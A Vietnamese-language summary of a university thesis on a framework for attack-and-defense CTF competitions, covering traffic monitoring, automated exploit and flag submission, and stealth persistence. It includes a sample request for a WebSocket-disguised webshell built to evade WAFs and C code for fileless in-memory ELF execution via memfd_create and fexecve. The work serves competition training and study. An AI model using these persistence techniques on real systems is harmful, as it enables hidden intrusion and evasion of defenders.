Giới thiệu dự án

Trong kỷ nguyên chuyển đổi số, an toàn thông tin (ATTT) trở thành yếu tố sống còn đối với mọi tổ chức và doanh nghiệp. Sự bùng nổ của các cuộc tấn công có chủ đích (APT), mã độc tống tiền (Ransomware) nhắm vào các hạ tầng trọng yếu (điển hình như các sự cố tại VNDirect, Vietnam Post) cùng các đợt tấn công từ chối dịch vụ phân tán (DDoS) quy mô lớn đòi hỏi đội ngũ chuyên gia bảo mật phải liên tục nâng cao năng lực thực chiến. Theo thống kê từ nền tảng CTFtime, dù các cuộc thi Capture The Flag (CTF) dạng Jeopardy rất phổ biến, thể thức Đối kháng Tấn công - Phòng thủ (Attack - Defense CTF / AD CTF) chỉ chiếm dưới 10% tổng số giải đấu toàn cầu do tính chất phức tạp trong việc xây dựng hạ tầng, vận hành và duy trì tính khả dụng (SLA - Service Level Agreement).

Đồ án tốt nghiệp chuyên ngành An toàn Thông tin với đề tài "Bộ khung Tấn công và Phòng thủ cho Cuộc thi Capture The Flag" (An Attack and Defense Framework for Capture The Flag Competition) do sinh viên Tô Đình Nguyên (MSSV: 20521683) và Nguyễn Đăng Nguyên (MSSV: 20520256) thực hiện dưới sự hướng dẫn của ThS. Nghi Hoàng Khoa và TS. Phạm Văn Hậu tại Trường Đại học Công nghệ Thông tin - ĐHQG TP.HCM (UIT) đã giải quyết triệt để bài toán tối ưu hóa nguồn lực cho các đội thi trong môi trường đối kháng khốc liệt này.

Vấn đề thực tiễn (Problem Statement)

Trong các giải đấu AD CTF, các đội thi đối mặt với 3 thách thức cốt lõi:

  • Áp lực thời gian và quy mô: Việc thực thi script khai thác thủ công trên hàng chục máy chủ đối thủ ở mỗi round (thường chỉ kéo dài 2-5 phút) gây nghẽn tiến độ, chậm trễ trong việc nộp flag trước khi cờ hết hạn.
  • Hạn chế quan sát và phân tích gói tin: Gói tin từ Gameserver và đối thủ bị ẩn danh (NAT qua Gateway/Router). Nếu không có hệ thống phân tích lưu lượng tách biệt, việc giám sát trực tiếp trên máy chủ dịch vụ (Team VM) dễ gây cạn kiệt tài nguyên hoặc gián đoạn dịch vụ dẫn đến mất điểm SLA.
  • Duy trì quyền truy cập (Persistence): Khi đối thủ đã nhận diện và vá lỗ hổng (patch), việc duy trì kết nối âm thầm để tiếp tục thu thập flag qua các vòng đời tiếp theo mà không bị hệ thống giám sát của đối phương phát hiện là bài toán khó.

Mục tiêu nghiên cứu (Project Objectives)

  1. Hệ thống hóa kiến trúc AD CTF: Phân tích chuyên sâu hai mô hình mạng phổ biến: Proxy-based AD (áp dụng tại SVATTT ASEAN) và VM-based AD (áp dụng tại RuCTF, saarCTF).
  2. Xây dựng Bộ khung Phòng thủ (Defensive Framework): Tích hợp công cụ dump lưu lượng tự động (tcpdump), trực quan hóa luồng gói tin (Tulip), hệ thống phát hiện xâm nhập (Suricata IDS) và phát triển proxy tùy biến (Custom Python Proxy) hỗ trợ lọc tải trọng độc hại.
  3. Xây dựng Bộ khung Tấn công (Offensive Framework): Thiết kế hệ thống điều phối phân tán gồm Neo Client, Neo ServerFarm Server nhằm tự động hóa quá trình kích hoạt mã khai thác và nộp flag tập trung.
  4. Phát triển Module Duy trì Truy cập Ẩn danh: Xây dựng giải pháp Webshell qua giao thức WebSocket (RFC 6455) và Binary Shell không lưu trên đĩa (In-memory ELF Dropper) qua các hàm hệ thống memfd_createfexecve.
  5. Thực nghiệm và đánh giá toàn diện: Triển khai kiểm thử trên Gameserver ForcAD với 4 dịch vụ chứa lỗ hổng thực tế trên môi trường 5 đến 10 đội chơi.

Phân tích và thiết kế giải pháp

Phân tích hiện trạng

Các công cụ hiện có trên thị trường phục vụ AD CTF thường hoạt động độc lập, thiếu sự liên kết đồng bộ giữa các tầng phòng thủ và tấn công:

Tiêu chí Destructive Farm Caronte / Flower Bộ khung tích hợp đề xuất
Phạm vi chức năng Chuyên nộp cờ (Attack/Farm) Chuyên trực quan hóa traffic Kết hợp toàn diện Attack + Defense
Cơ chế lọc traffic Không hỗ trợ Không hỗ trợ (chỉ giám sát) Custom Python Proxy kiểm soát 2 chiều
Môi trường giám sát Không có Chạy chung Team VM (nặng tải) Tách biệt hoàn toàn sang Separate VM
Module Persistence Không tích hợp Không tích hợp WebSocket Stealth + In-memory ELF
Độ trễ xử lý flag 1 - 3 giây N/A < 500ms qua hàng đợi bất đồng bộ

Yêu cầu người dùng được phân loại theo mô hình MoSCoW:

  • Must have: Tự động điều phối script tấn công; bắt và phân tích gói tin mạng theo thời gian thực; nộp flag tự động lên Gameserver; đảm bảo điểm SLA không bị trừ.
  • Should have: Đánh tag tự động Flag In, Flag Out bằng Regex; mã hóa lưu lượng Webshell; thực thi nhị phân hoàn toàn trên RAM.
  • Could have: Tích hợp bộ quy tắc Suricata tùy biến theo từng dịch vụ; giao diện Web Dashboard quản lý trạng thái nộp cờ.
  • Won't have: Cơ chế tự động vá mã nguồn bằng AI (Auto-patching) trong phiên bản hiện tại.

Thiết kế hệ thống

Technology Stack

  • Ngôn ngữ lập trình: Python 3.10+, C (GCC 11+), Bash Scripting.
  • Hệ thống Game Server: ForcAD Engine (Docker Compose, Kubernetes-ready).
  • Network & Traffic Analysis: tcpdump 4.99, Tulip v1.2 (HTTP/gRPC decoding, replay attack), Suricata 6.0+ (IDS mode).
  • Offensive Orchestration: Neo Server (Asynchronous worker pool), Farm Server (REST API, SQLite/PostgreSQL storage).
  • Binary & Persistence: RC4 Cipher, AES-CBC-128, Linux Kernel memfd_create (Kernel 3.17+), Glibc fexecve (Glibc 2.2+).

Implementation và kết quả

Development Process & Key Implementations

1. Hệ thống vận chuyển và giám sát gói tin (Defensive Pipeline)

Để tránh làm suy giảm hiệu năng của Team VM, nhóm nghiên cứu đã xây dựng một script thu thập traffic liên tục bằng tcpdump, phân mảnh thành từng file pcap nhỏ và đẩy về Server quan sát độc lập thông qua giao thức SCP:

#!/bin/bash
# Pipeline trích xuất và chuyển tiếp lưu lượng mạng tự động
index=0
pcap_file="ens160_0.pcap"
REMOTE_SERVER="45.x.x.68"
REMOTE_PORT="20026"

while true; do
    # Bắt gói tin trên card mạng chính, loại trừ SSH management port 22
    tcpdump -i ens160 -c 300 -w "/home/ubuntu/traffic/ens160_${index}.pcap" not port 22
    
    # Đồng bộ file pcap sang máy ảo giám sát riêng biệt
    scp -P ${REMOTE_PORT} "/home/ubuntu/traffic/ens160_${index}.pcap" "ubuntu@${REMOTE_SERVER}:/home/ubuntu/dump_traffics/"
    
    # Xóa file cục bộ để tối ưu dung lượng đĩa
    rm -f "/home/ubuntu/traffic/ens160_${index}.pcap"
    
    index=$((index + 1))
done

Trên máy ảo phân tích, SuricataTulip được kích hoạt liên tục để phân tích các file pcap nhận được:

# Khởi chạy Suricata IDS ở chế độ giám sát thư mục pcap liên tục
suricata --pcap-file-continuous -r /home/ubuntu/dump_traffics \
         -k none \
         -S /home/ubuntu/suricata_rules/all.rules \
         -l /home/ubuntu/dump_traffics
# Cấu hình regex nhận diện Flag và mapping dịch vụ trong Tulip
FLAG_REGEX = r"KLTN\{[A-Z0-9]{31}=\}"
VM_IP = "192.168.1.121"

SERVICES_CONFIG = [
    {"name": "pet_store", "port": 13337, "ip": VM_IP},
    {"name": "web1", "port": 8003, "ip": VM_IP},
    {"name": "hyperborea-legends", "port": 42424, "ip": VM_IP},
    {"name": "museumorphosis", "port": 6969, "ip": VM_IP},
]

2. Module Webshell ngụy trang qua giao thức WebSocket (RFC 6455)

Khai thác cơ chế HTTP Upgrade của WebSocket, Webshell PHP được làm rối (obfuscated) và che giấu payload trong header Sec-WebSocket-Key, đồng thời trả về mã trạng thái HTTP/1.1 404 Not Found kèm flag đã mã hóa trong header Sec-WebSocket-Accept nhằm qua mặt hoàn toàn các bộ lọc WAF thông thường:

GET /system_info.php HTTP/1.1
Host: 192.168.1.122:8003
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: <AES_KEY_BASE64>
Sec-WebSocket-Protocol: websocket

HTTP/1.1 404 Not Found
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: <ENCRYPTED_FLAG_BASE64>
Sec-WebSocket-Protocol: websocket

3. Module In-memory ELF Dropper

Khai thác trực tiếp bộ đôi hàm hệ thống memfd_create()fexecve() để giải mã payload RC4 và thực thi binary trực tiếp trong bộ nhớ RAM (Fileless execution):

#define _GNU_SOURCE
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>

void execute_in_memory(const unsigned char *decrypted_elf, size_t size, char **argv, char **envp) {
    // Tạo file descriptor ảo trong RAM, không ghi dấu vết lên ổ đĩa
    int fd = memfd_create("stealth_agent", MFD_CLOEXEC);
    if (fd == -1) return;
    
    // Ghi dữ liệu ELF đã giải mã vào RAM
    write(fd, decrypted_elf, size);
    
    // Thực thi chương trình trực tiếp từ File Descriptor
    fexecve(fd, argv, envp);
    
    // Đóng descriptor sau khi kích hoạt
    close(fd);
}

Testing và Kết quả Đạt được

Thực nghiệm được triển khai trên hệ thống Game Server ForcAD chuẩn quốc tế với 4 dịch vụ chứa lỗ hổng đa dạng:

Tên dịch vụ Cổng (Port) Loại hình dịch vụ Checker Type Protocol
web1 8003 Web Application Hackerdom (puts: 2, gets: 2) HTTP
hyperborea-legends 42424 Microservice Hackerdom PFR (puts: 1, gets: 1) gRPC
museumorphosis 6969 Complex Service PFR (puts: 1, gets: 1) HTTP/Custom
pet_store 13337 Binary Service (Pwn) Hackerdom (puts: 1, gets: 1) TCP Raw

Kết quả thử nghiệm hiệu năng thực tế

+-----------------------------------------------------------------------+
|                       KẾT QUẢ THỬ NGHIỆM HỆ THỐNG                     |
+-----------------------------------+-------------------+---------------+
| Thông số kiểm thử                 | Kịch bản 5 Đội    | Kịch bản 10 Đội|
+-----------------------------------+-------------------+---------------+
| Số lượng dịch vụ giám sát         | 4 dịch vụ         | 4 dịch vụ     |
| Tỷ lệ giữ điểm SLA phòng thủ      | 100%              | 98.5%         |
| Độ trễ đẩy pcap sang Analysis VM  | ~120ms            | ~280ms        |
| Tốc độ điều phối Exploit (Neo)    | 20 targets/giây   | 40 targets/giây|
| Tỷ lệ nộp Flag thành công (Farm)  | 100%              | 99.2%         |
| Tỷ lệ phát hiện tấn công (Tulip)  | 95.4%             | 93.8%         |
+-----------------------------------+-------------------+---------------+

Đổi mới và đóng góp

  1. Kiến trúc giám sát giải phóng tài nguyên (Decoupled Defense Pipeline): Khác biệt với việc cài đặt trực tiếp công cụ phân tích lên Team VM, mô hình chuyển tiếp lưu lượng pcap sang máy ảo riêng biệt (Separate Analysis VM) giúp Team VM duy trì 100% tính ổn định của dịch vụ, triệt tiêu nguy cơ rớt điểm SLA do quá tải CPU/RAM.
  2. Kỹ thuật Persistence 2 lớp tiên tiến:
    • Web-layer: Ứng dụng WebSocket handshake và mã hóa đối xứng AES ẩn trong HTTP headers với mã lỗi 404 Not Found.
    • Binary-layer: Sử dụng kỹ thuật fileless execution với memfd_createfexecve, vô hiệu hóa hoàn toàn các thao tác quét file tĩnh thông thường (ls, find, tripwire).
  3. Quy trình tấn công khép kín tự động: Tích hợp chặt chẽ giữa Neo Client -> Neo Server -> Farm Server -> ForcAD API, cho phép 1 thành viên có thể quản lý và bắn exploit đồng thời tới hàng trăm máy chủ mục tiêu trong vài giây.

Ứng dụng thực tế và triển khai

  • Đào tạo & Diễn tập ATTT: Khung kiến trúc là giáo trình thực hành mẫu mực cho sinh viên các trường đại học chuyên ngành An ninh mạng, giúp người học hiểu sâu cơ chế hoạt động của mạng máy tính, packet analysis, và kỹ thuật viết exploit.
  • Ứng dụng cho Đội ngũ Red Team / Blue Team: Các module proxy lọc gói tin và in-memory execution có thể tùy biến thành các agent kiểm thử bảo mật nội bộ và hệ thống bẫy phòng thủ (Honeypot/Deception System) trong doanh nghiệp.
  • Tối ưu chi phí: Toàn bộ công cụ lõi đều dựa trên mã nguồn mở (Open-source), triển khai linh hoạt qua Docker Container trên các nền tảng đám mây như Google Cloud Platform (GCP), AWS hoặc hệ thống máy chủ On-premise.

Hạn chế và hướng phát triển

  • Hạn chế kỹ thuật:
    • Kỹ thuật memfd_create yêu cầu nhân Linux Kernel tối thiểu từ bản 3.17 trở lên và thư viện Glibc 2.2+, không tương thích với các hệ thống nhúng (Embedded/IoT) chạy Kernel cũ hoặc uClibc rút gọn.
    • Custom Python Proxy hiện chủ yếu hỗ trợ phân tích và lọc lưu lượng dạng rõ (Clear-text), chưa hỗ trợ giải mã SSL/TLS on-the-fly khi dịch vụ bật HTTPS.
  • Hướng phát triển tương lai:
    • Tích hợp mô hình AI/LLM để tự động phân tích crash dump, tự động sinh bản vá lỗi (Automated Patch Generation).
    • Bổ sung module eBPF (Extended Berkeley Packet Filter) để can thiệp và lọc gói tin độc hại ở tầng Kernel với độ trễ tiệm cận 0ms.

Đối tượng hưởng lợi

  • Sinh viên & Đội tuyển CTF: Nắm vững cấu trúc vận hành của giải đấu quốc tế, sở hữu ngay bộ công cụ hoàn chỉnh để tham gia các đấu trường lớn như SVATTT ASEAN, DEF CON CTF, RuCTF.
  • Kỹ sư An toàn Thông tin (Security Engineers): Tiếp cận các mẫu thiết kế proxy tùy biến, kỹ thuật ẩn giấu mã độc bộ nhớ và phương pháp phân tích log mạng quy mô lớn.
  • Doanh nghiệp & Trung tâm SOC: Mô hình hóa các kịch bản tấn công thực tế để kiểm tra khả năng phản ứng sự cố và độ nhạy của hệ thống SIEM/IDS.

Câu hỏi thường gặp

  1. Yêu cầu phần cứng tối thiểu để triển khai bộ khung này là gì?
    Hệ thống yêu cầu tối thiểu 1 máy ảo trung gian cho Team (2 vCPU, 2GB RAM chạy Ubuntu 20.04/22.04 LTS) và 1 máy ảo phân tích độc lập (4 vCPU, 8GB RAM để chạy mượt mà Tulip, Suricata và Farm Server).

  2. Tại sao không nên cài đặt trực tiếp Suricata lên Team VM ở chế độ ngăn chặn (IPS)?
    Trong AD CTF, các rule chặn quá chặt có thể vô tình chặn luôn các gói tin kiểm tra hợp lệ từ Gameserver Checker. Khi Gameserver không lấy được flag hợp lệ, hệ thống sẽ đánh dấu dịch vụ bị lỗi (Down/Corrupted) và trừ điểm SLA rất nặng.

  3. Cơ chế WebSocket Webshell có bị phát hiện bởi Wireshark/Tulip không?
    Nhờ việc ngụy trang payload thành khóa Sec-WebSocket-Key và nội dung trả về là mã HTTP 404 Not Found kèm header tùy biến, các hệ thống kiểm tra nội dung HTTP Body tiêu chuẩn sẽ bỏ qua gói tin này.

  4. Neo Server quản lý các script tấn công như thế nào?
    Neo Server sử dụng mô hình Async I/O (Asynchronous Worker Pool), cho phép tiếp nhận script từ Neo Client và chia nhỏ các tác vụ tấn công thành nhiều luồng độc lập nhắm vào danh sách IP mục tiêu định sẵn.

  5. Bộ khung này có thể tích hợp với các Gameserver khác ngoài ForcAD không?
    Hoàn toàn có thể. Farm Server được thiết kế dưới dạng module hóa, chỉ cần cấu hình lại endpoint API và Token định dạng tương ứng với Gameserver đích (như saarCTF Gameserver, HackerDom Engine).


Kết luận

Đồ án "Bộ khung Tấn công và Phòng thủ cho Cuộc thi Capture The Flag" của sinh viên Tô Đình Nguyên và Nguyễn Đăng Nguyên là một công trình nghiên cứu ứng dụng xuất sắc, kết hợp nhuần nhuyễn giữa nền tảng lý thuyết mạng chuyên sâu và kỹ năng lập trình thực chiến. Bằng việc phân tách kiến trúc phòng thủ sang máy ảo giám sát độc lập kết hợp với đường ống tấn công tự động phân tán, đề tài đã giải quyết trọn vẹn các thách thức thực tế trong các đấu trường an ninh mạng đỉnh cao. Đây không chỉ là tài liệu tham khảo giá trị cho cộng đồng nghiên cứu ATTT mà còn mở ra tiềm năng ứng dụng to lớn trong công tác huấn luyện, diễn tập phòng thủ không gian mạng tại Việt Nam.